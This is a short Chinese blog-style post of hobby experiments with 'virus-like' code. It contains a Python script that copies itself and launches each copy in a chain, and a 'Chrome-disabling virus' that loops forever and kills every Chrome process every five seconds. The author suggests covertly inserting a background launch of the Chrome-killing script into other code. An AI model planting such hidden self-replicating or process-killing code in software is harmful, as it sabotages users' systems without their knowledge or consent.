最近觉得这部分内容很有意思,这里无聊时想想写写。
1,复制自身的程序
Ken Thompson 的经典 C 程序:
http://www.cnblogs.com/coderzh/archive/2008/05/13/1194445.html
我个人的理解,对于一个复制自身的程序,应该是病毒式的复制,即由一生二,二生三,而不是一生万物,即应该是连锁式的产生复制。这里应该有两种方法, 一种,是修改程序文件本身,这样每次程序文件都有所差别;或者用参数传递,使得程序知道自己当前的id。
鉴于前者方式很蛋疼,这里试验了后者:
copy.py
# -* - coding: UTF-8 -* -
import os,sys
#fileId用来记录文件编号,不硬编码到文件中,而是用参数传递
if(len(sys.argv)!=2):
print 'use: python filName fileId'
exit(0)
fileName = sys.argv[0]
fileId = int(sys.argv[1])
names = fileName.split(".")
newFileName = names[0]+"1"+"."+names[1]
if fileId<20:
print "copy a new file from %s to %s"%(fileName,newFileName)
os.system("cp %s %s"%(fileName,newFileName))
os.system("python %s %s"%(newFileName,fileId+1))
2,禁用Chrome浏览器的病毒:
我的理解是,可以在其他代码中隐蔽地插入后台运行本文件的代码:os.system("python testChromeAndkill.py 0 &"),代码很简单,轮询,每5秒会检测杀死chrome进程。
import os,time
while(True):
time.sleep(5)
os.system('''ps aux | grep chrome | awk '{print $2}' | xargs kill''')
3,缓冲区溢出代码
http://blog.163.com/jw_chen_cs/blog/static/20221214820124119642246/